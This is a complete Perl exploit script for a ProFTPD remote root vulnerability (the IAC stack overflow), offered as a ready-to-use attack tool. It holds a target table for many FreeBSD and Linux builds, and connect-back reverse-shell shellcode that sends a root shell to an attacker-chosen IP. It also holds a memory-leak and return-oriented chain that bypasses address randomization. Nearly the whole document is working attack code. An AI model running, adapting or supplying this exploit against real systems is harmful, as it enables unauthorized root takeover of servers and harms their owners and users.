ProFTPD IAC Remote Root Exploit

                                                # Exploit Title: ProFTPD IAC Remote Root Exploit
# Date: 7 November 2010
# Author: Kingcope
 
use IO::Socket;
 
$numtargets = 13;
 
@targets =
(
 # Plain Stack Smashing
  
 #Confirmed to work
 ["FreeBSD 8.1 i386, ProFTPD 1.3.3a Server (binary)",# PLATFORM SPEC
    "FreeBSD",  # OPERATING SYSTEM
    0,          # EXPLOIT STYLE
    0xbfbfe000, # OFFSET START
    0xbfbfff00, # OFFSET END
    1029],      # ALIGN
  
 #Confirmed to work
 ["FreeBSD 8.0/7.3/7.2 i386, ProFTPD 1.3.2a/e/c Server (binary)",
    "FreeBSD",
    0,
    0xbfbfe000,
    0xbfbfff00,
    1021],
     
 # Return into Libc
  
 #Confirmed to work
 ["Debian GNU/Linux 5.0, ProFTPD 1.3.2e Server (Plesk binary)",
    "Linux",
    1,          # EXPLOIT STYLE
    0x0804CCD4, # write(2) offset
    8189,       # ALIGN
    0],         # PADDING
 
 # Confirmed to work
 ["Debian GNU/Linux 5.0, ProFTPD 1.3.3 Server (Plesk binary)",
    "Linux",
    1,
    0x0804D23C,
    4101,
    0],
  
 #Confirmed to work
 ["Debian GNU/Linux 4.0, ProFTPD 1.3.2e Server (Plesk binary)",
    "Linux",
    1,         
    0x0804C9A4,
    8189,
    0],        
 #Confirmed to work
 ["Debian Linux Squeeze/sid, ProFTPD 1.3.3a Server (distro binary)",
    "Linux",
    1,         
    0x080532D8,
    4101,
    12],
     
 ["SUSE Linux 9.3, ProFTPD 1.3.2e Server (Plesk binary)",
    "Linux",
    1,
    0x0804C9C4,
    8189,
    0],
 
 ["SUSE Linux 10.0/10.3, ProFTPD 1.3.2e Server (Plesk binary)",
    "Linux",
    1,
    0x0804CAA8,
    8189,
    0],
     
 ["SUSE Linux 10.2, ProFTPD 1.3.2e Server (Plesk binary)",
    "Linux",
    1,
    0x0804CBBC,
    8189,
    0],
 
 ["SUSE Linux 11.0, ProFTPD 1.3.2e Server (Plesk binary)",
    "Linux",
    1,
    0x0804CCBC,
    8189,
    0],
 
 #Confirmed to work
 ["SUSE Linux 11.1, ProFTPD 1.3.2e Server (Plesk binary)",
    "Linux",
    1,
    0x0804CCE0,
    8189,
    0],    
 
 ["SUSE Linux SLES 10, ProFTPD 1.3.2e Server (Plesk binary)",
    "Linux",
    1,
    0x0804CA2C,
    8189,
    0],
 
 #Confirmed to work
 ["CentOS 5, ProFTPD 1.3.2e Server (Plesk binary)",
    "Linux",
    1,
    0x0804C290,
    8189,
    0],
     
    # feel free to add more targets.
);
 
#freebsd reverse shell port 45295
#setup a netcat on this port ^^
$bsdcbsc =
        # setreuid
        "\x31\xc0\x31\xc0\x50\x31\xc0\x50\xb0\x7e\x50\xcd\x80".
        # connect back :>
        "\x31\xc0\x31\xdb\x53\xb3\x06\x53".
        "\xb3\x01\x53\xb3\x02\x53\x54\xb0".
        "\x61\xcd\x80\x31\xd2\x52\x52\x68".
        "\x41\x41\x41\x41\x66\x68\xb0\xef".
        "\xb7\x02\x66\x53\x89\xe1\xb2\x10".
        "\x52\x51\x50\x52\x89\xc2\x31\xc0".
        "\xb0\x62\xcd\x80\x31\xdb\x39\xc3".
        "\x74\x06\x31\xc0\xb0\x01\xcd\x80".
        "\x31\xc0\x50\x52\x50\xb0\x5a\xcd".
        "\x80\x31\xc0\x31\xdb\x43\x53\x52".
        "\x50\xb0\x5a\xcd\x80\x31\xc0\x43".
        "\x53\x52\x50\xb0\x5a\xcd\x80\x31".
        "\xc0\x50\x68\x2f\x2f\x73\x68\x68".
        "\x2f\x62\x69\x6e\x89\xe3\x50\x54".
        "\x53\x50\xb0\x3b\xcd\x80\x31\xc0".
        "\xb0\x01\xcd\x80";
 
#linux reverse shell port 45295 by bighawk
#setup a netcat on this port ^^
$lnxcbsc =
# setreuid
"\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x90\x90\x90".
# connect back :>
"\x6a\x66".
"\x58".
"\x6a\x01".
"\x5b".   
"\x31\xc9".
"\x51".
"\x6a\x01".
"\x6a\x02".
"\x89\xe1".
"\xcd\x80".
"\x68\x7f\x7f\x7f\x7f". # IP
"\x66\x68\xb0\xef". # PORT
"\x66\x6a\x02".
"\x89\xe1".
"\x6a\x10".   
"\x51".   
"\x50".       
"\x89\xe1".
"\x89\xc6".   
"\x6a\x03".   
"\x5b".   
"\x6a\x66".
"\x58".   
"\xcd\x80".
"\x87\xf3".   
"\x6a\x02".   
"\x59".   
"\xb0\x3f".
"\xcd\x80".   
"\x49".   
"\x79\xf9".
"\xb0\x0b".   
"\x31\xd2".   
"\x52".   
"\x68\x2f\x2f\x73\x68".
"\x68\x2f\x62\x69\x6e".
"\x89\xe3".
"\x52".           
"\x53".               
"\x89\xe1".
"\xcd\x80";
 
sub exploit1 {
    for ($counter=$targets[$ttype][3]; $counter < $targets[$ttype][4]; $counter += 250) {
        printf("[$target] CURRENT OFFSET = %08x :pP\n", $counter);
        $ret = pack("V", $counter);
        $align = $targets[$ttype][5];
 
        my $sock = IO::Socket::INET->new(PeerAddr => $target,
                                         PeerPort => 21,
                                         Proto    => 'tcp');
 
        $stack = "KCOPERULEZKCOPERULEZKC" . $ret . "\x90" x 500 . $shellcode . "A" x 10;
 
        $v = <$sock>;
     
        print $sock "\x00" x $align . "\xff" . $stack . "\n";
     
        close($sock);          
    }   
}
 
# Linux technique to retrieve a rootshell (C) kingcope 2010
#
# uses write(2) to fetch process memory out of the remote box (you can find the offset using IDA)
# only the write(2) plt entry offset is needed for the exploit to work (and of course the
# align value)
# once the correct write value is given to the exploit it fetches the memory space of proftpd.
# with this information the exploit can find function entries and byte values
# relative to the write(2) address.
# once the memory is read out the exploit does the following to circumvent linux adress space
# randomization:
#
# 1.) calculate mmap64() plt entry
# 2.) seek for assembly instructions in the proftpd memory space relative to write(2)
#     such as pop pop ret instructions
# 3.) call mmap64() to map at address 0x10000000 with protection read,write,execute
# 4.) calculate offset for memcpy() which is later used to construct the shellcode copy routine
# 4.) copy known assembly instructions (which have been found before using the memory read)
#     to address 0x10000000. these instructions will copy the shellcode from ESP to 0x10000100
#     and make use of the memcpy found before
# 5.) actually jump to the shellcode finder
# 6.) once the shellcode has been copied to 0x10000100 jump to it
# 7.) shellcode gets executed and we have our desired root shell.
 
sub exploit2 {
    printf("[$target] %s :pP\n", $targets[$ttype][0]);
    $align = $targets[$ttype][4];
    $write_offset = $targets[$ttype][3];
    $padding = $targets[$ttype][5];
         
    $|=1;
    print "align = $align\n";
    print "Seeking for write(2)..\n";
     
    #known good write(2) values
    #0x0804C290
    #0x0804A85C
    #0x0804A234
    #0x08052830
    #080532D8 proftpd-basic_1.3.3a-4_i386
    #08052938 proftpd-basic_1.3.2e-4_i386 (ubunutu)
    #0804CCD4 psa-proftpd_1.3.2e-debian5.0.build95100504.17_i386 !!
 
    printf "Using write offset %08x.\n", $write_offset;
    $k = $write_offset;
    $sock = IO::Socket::INET->new(PeerAddr => $target,
                                  PeerPort => 21,
                                  Proto    => 'tcp');
 
    $sock->sockopt(SO_LINGER, pack("ii", 1, 0));
    #$x = <stdin>;
    $stack = "KCOPERULEZKCOPERULEZKC". "C" x $padding .
             pack("V", $k).  # write
             "\xcc\xcc\xcc\xcc".
             "\x01\x00\x00\x00".    # fd for write
             pack("V", $k). # buffer for write
             "\xff\xff\x00\x00";    # length for write
 
    $v = <$sock>;
     
    print $sock "\x00" x $align . "\xff" . $stack . "\n";
     
    vec ($rfd, fileno($sock), 1) = 1;
 
    $timeout = 2;
    if (select ($rfd, undef, undef, $timeout) >= 0
             && vec($rfd, fileno($sock), 1))
    {
       if (read($sock, $buff, 0xffff) == 0xffff) {
        printf "\nSUCCESS. write(2) is at %08x\n", $k; 
        close($sock);
        goto lbl1;
        }
    }
     
    close($sock);
    printf "wrong write(2) offset.\n";
    exit;
 
lbl1:
#   Once we're here chances are good that we get the root shell
 
    print "Reading memory from server...\n";
    my $sock = IO::Socket::INET->new(PeerAddr => $target,
                                  PeerPort => 21,
                                  Proto    => 'tcp');   
     
    $stack = "KCOPERULEZKCOPERULEZKC" . "C" x $padding .
             pack("V", $k).  # write
             "\xcc\xcc\xcc\xcc".
             "\x01\x00\x00\x00".    # fd for write
             pack("V", $k). # buffer for write
             "\xff\xff\x0f\x00";    # length for write
 
    $v = <$sock>;
     
    print $sock "\x00" x $align . "\xff" . $stack . "\n";
     
    read($sock, $buff, 0xfffff);
 
    if (($v = index $buff, "\x5E\x5F\x5D") >= 0) {
        $pop3ret = $k + $v;
        printf "pop pop pop ret located at %08x\n", $pop3ret;
    } else {
        print "Could not find pop pop pop ret\n";
        exit;
    }
     
    if (($v = index $buff, "\x83\xC4\x20\x5B\x5E\x5D\xC3") >= 0) {
        $largepopret = $k + $v;
        printf "large pop ret located at %08x\n", $largepopret;
    } else {
        print "Could not find pop pop pop ret\n";
        exit;
    }
 
    if (($v = index $buff, "\xC7\x44\x24\x08\x03\x00\x00\x00\xC7\x04\x24\x00\x00\x00\x00\x89\x44\x24\x04") >= 0) {
        $addr1 = $k+$v+23;
         
        $mmap64 = unpack("I", substr($buff, $v+20, 4));
        $mmap64 = $addr1 - (0xffffffff-$mmap64);
        printf "mmap64 is located at %08x\n", $mmap64;
    } else {
        if (($v = index $buff, "\x89\x44\x24\x10\xA1\xBC\xA5\x0F\x08\x89\x44\x24\x04\xe8") >= 0) {
            $addr1 = $k+$v+17;
         
            $mmap64 = unpack("I", substr($buff, $v+14, 4));
            $mmap64 = $addr1 - (0xffffffff-$mmap64);
            printf "mmap64 is located at %08x\n", $mmap64;
        } else {
            print "Could not find mmap64()\n";
            exit;
        }
    }
     
         
         
        if (($v = index $buff, "\x8D\x45\xF4\x89\x04\x24\x89\x54\x24\x08\x8B\x55\x08\x89\x54\x24\x04\xE8") >= 0) {
            $addr1 = $k+$v+21;
            $memcpy = unpack("I", substr($buff, $v+18, 4));
            $memcpy = $addr1 - (0xffffffff-$memcpy);
            printf "memcpy is located at %08x\n", $memcpy;
        } else {       
         
        if (($v = index $buff, "\x8B\x56\x10\x89\x44\x24\x08\x89\x54\x24\x04\x8B\x45\xE4\x89\x04\x24\xe8") >= 0) {
            $addr1 = $k+$v+21;
         
            $memcpy = unpack("I", substr($buff, $v+18, 4));
            $memcpy = $addr1 - (0xffffffff-$memcpy);
            printf "memcpy is located at %08x\n", $memcpy;
        } else {
        if (($v = index $buff, "\x89\x44\x24\x04\xA1\xBC\x9F\x0E\x08\x89\x04\x24") >= 0) {
            $addr1 = $k+$v+16;
         
            $memcpy = unpack("I", substr($buff, $v+13, 4));
            $memcpy = $addr1 - (0xffffffff-$memcpy);
            printf "memcpy is located at %08x\n", $memcpy;
        } else {
        if (($v = index $buff, "\x89\x7C\x24\x04\x89\x1C\x24\x89\x44\x24\x08") >= 0) {
            $addr1 = $k+$v+15;
         
            $memcpy = unpack("I", substr($buff, $v+12, 4));
            $memcpy = $addr1 - (0xffffffff-$memcpy);
            printf "memcpy is located at %08x\n", $memcpy;
     
        }    else {
        if (($v = index $buff, "\x8B\x55\x10\x89\x74\x24\x04\x89\x04\x24\x89\x54\x24\x08") >= 0) {
            $addr1 = $k+$v+18;
            $memcpy = unpack("I", substr($buff, $v+15, 4));
            $memcpy = $addr1 - (0xffffffff-$memcpy);
            printf "memcpy is located at %08x\n", $memcpy;
        } else {
             
            print "Could not find memcpy()\n";
            exit;  
        }
        }
        }
        }  
    }
     
    if (($v = index $buff, "\xfc\x8b") >= 0) {
        $byte1 = $k+$v;
        printf ("byte1: %08x\n", $byte1);  
    } else {
        print "Could not find a special byte\n";
        exit;  
    }
     
    if (($v = index $buff, "\xf4") >= 0) {
        $byte2 = $k+$v;
        printf ("byte2: %08x\n", $byte2);
    } else {
        print "Could not find a special byte\n";
        exit;  
    }
     
    if (($v = index $buff, "\xbf") >= 0) {
        $byte3 = $k+$v;
        printf ("byte3: %08x\n", $byte3);  
    } else {
        print "Could not find a special byte\n";
        exit;  
    }
     
    if (($v = index $buff, "\x00\x01\x00") >= 0) {
        $byte4 = $k+$v;
        printf ("byte4: %08x\n", $byte4);  
    } else {
        print "Could not find a special byte\n";
        exit;  
    }
 
    if (($v = index $buff, "\x10") >= 0) {
        $byte5 = $k+$v;
        printf ("byte5: %08x\n", $byte5);  
    } else {
        print "Could not find a special byte\n";
        exit;  
    }
     
    if (($v = index $buff, "\xB9\x00\x02\x00\x00") >= 0) {
        $byte6 = $k+$v;
        printf ("byte6: %08x\n", $byte6);  
    } else {
        print "Could not find a special byte\n";
        exit;  
    }
     
 
    if (($v = index $buff, "\xf3") >= 0) {
        $byte7 = $k+$v;
        printf ("byte7: %08x\n", $byte7);  
    } else {
        print "Could not find a special byte\n";
        exit;  
    }
     
    if (($v = index $buff, "\xA4") >= 0) {
        $byte8 = $k+$v;
        printf ("byte8: %08x\n", $byte8);
    } else {
        print "Could not find a special byte\n";
        exit;  
    }
     
    if (($v = index $buff, "\xeb\xff") >= 0) {
        $byte9 = $k+$v;
        printf ("byte9: %08x\n", $byte9);
    } else {
        print "Could not find a special byte\n";
        exit;  
    }
     
# shellcode copy routine:
#0100740B     FC             CLD
#0100740C     8BF4           MOV ESI,ESP
#0100740E     BF 00010010    MOV EDI,10000100
#01007413     B9 00020000    MOV ECX,200
#01007418     F3:A4          REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[>
#             EB FF          JMP +0xFF     
# FC 8B
# F4 BF
# 00 01 00
# 10
# B9 00 02 00 00
# F3:A4
# EB FF
 
# El1Te X-Ploit TechNiqUe (C)
 
    print "Building exploit buffer\n";
 
    $stack = "KCOPERULEZKCOPERULEZKC" . "C" x $padding .
             pack("V", $mmap64). # mmap64()
             pack("V", $largepopret). # add     esp, 20h; pop; pop
             "\x00\x00\x00\x10". # mmap start
             "\x00\x10\x00\x00". # mmap size
             "\x07\x00\x00\x00". # mmap prot
             "\x32\x00\x00\x00". # mmap flags
             "\xff\xff\xff\xff". # mmap fd
             "\x00\x00\x00\x00". # mmap offset
             "\x00\x00\x00\x00". # mmap offset          
             "\x00\x00\x00\x00".
             "\x00\x00\x00\x00".
             "\x00\x00\x00\x00".
             "\x00\x00\x00\x00".
             pack("V", $memcpy). # memcpy()
             pack("V", $pop3ret). # pop; pop; pop; retn
             "\x00\x00\x00\x10". # destination
             pack("V", $byte1). # origin
             "\x02\x00\x00\x00". # number of bytes to copy
              
             pack("V", $memcpy). # memcpy()
             pack("V", $pop3ret). # pop; pop; pop; retn
             "\x02\x00\x00\x10". # destination
             pack("V", $byte2). # origin
             "\x01\x00\x00\x00". # number of bytes to copy
 
             pack("V", $memcpy). # memcpy()
             pack("V", $pop3ret). # pop; pop; pop; retn
             "\x03\x00\x00\x10". # destination
             pack("V", $byte3). # origin
             "\x01\x00\x00\x00". # number of bytes to copy
                          
             pack("V", $memcpy). # memcpy()
             pack("V", $pop3ret). # pop; pop; pop; retn
             "\x04\x00\x00\x10". # destination
             pack("V", $byte4). # origin
             "\x03\x00\x00\x00". # number of bytes to copy
              
             pack("V", $memcpy). # memcpy()
             pack("V", $pop3ret). # pop; pop; pop; retn
             "\x07\x00\x00\x10". # destination
             pack("V", $byte5). # origin
             "\x01\x00\x00\x00". # number of bytes to copy
              
             pack("V", $memcpy). # memcpy()
             pack("V", $pop3ret). # pop; pop; pop; retn
             "\x08\x00\x00\x10". # destination
             pack("V", $byte6). # origin
             "\x05\x00\x00\x00". # number of bytes to copy
 
             pack("V", $memcpy). # memcpy()
             pack("V", $pop3ret). # pop; pop; pop; retn
             "\x0d\x00\x00\x10". # destination
             pack("V", $byte7). # origin
             "\x01\x00\x00\x00". # number of bytes to copy
 
             pack("V", $memcpy). # memcpy()
             pack("V", $pop3ret). # pop; pop; pop; retn
             "\x0e\x00\x00\x10". # destination
             pack("V", $byte8). # origin
             "\x01\x00\x00\x00". # number of bytes to copy
              
             pack("V", $memcpy). # memcpy()
             pack("V", $pop3ret). # pop; pop; pop; retn
             "\x0f\x00\x00\x10". # destination
             pack("V", $byte9). # origin
             "\x02\x00\x00\x00". # number of bytes to copy
              
             "\x00\x00\x00\x10". # JUMP TO 0x10000000 rwxp address          
 
             "\x90" x 100 . $shellcode . "\x90" x 10;      
     
    print "Sending exploit buffer!\n";
     
    my $sock = IO::Socket::INET->new(PeerAddr => $target,
                                  PeerPort => 21,
                                  Proto    => 'tcp');                
    $v = <$sock>;
 
    print $sock "\x00" x $align . "\xff" . $stack . "\n";
     
    print "Check your netcat?\n";
     
    while(<$sock>) {
        print; 
    }           
}
 
sub usage() {
    print "written by kingcope\n";
    print "usage:\n".
          "proremote.pl <target ip/host> <your ip> <target type>\n\n";
    for ($i=0; $i<$numtargets; $i++) {
        print "\t[".$i."]\t". $targets[$i][0]. "\r\n";
    }
           
    exit;
}
 
if ($#ARGV ne 2) { usage; }
 
$target = $ARGV[0];
$cbip = $ARGV[1];
$ttype = $ARGV[2];
 
$platform = $targets[$ttype][1];
$style = $targets[$ttype][2];
 
($a1, $a2, $a3, $a4) = split(//, gethostbyname("$cbip"));
 
if ($platform eq "FreeBSD") {
    $shellcode = $bsdcbsc;
    substr($shellcode, 37, 4, $a1 . $a2 . $a3 . $a4);
} else {
if ($platform eq "Linux") {
    $shellcode = $lnxcbsc;
    substr($shellcode, 31, 4, $a1 . $a2 . $a3 . $a4);
} else {
    print "typo ?\n";
    exit;
}}
 
if ($style eq 0) {
    exploit1;
} else {
    exploit2;  
}
 
print "done.\n";
exit;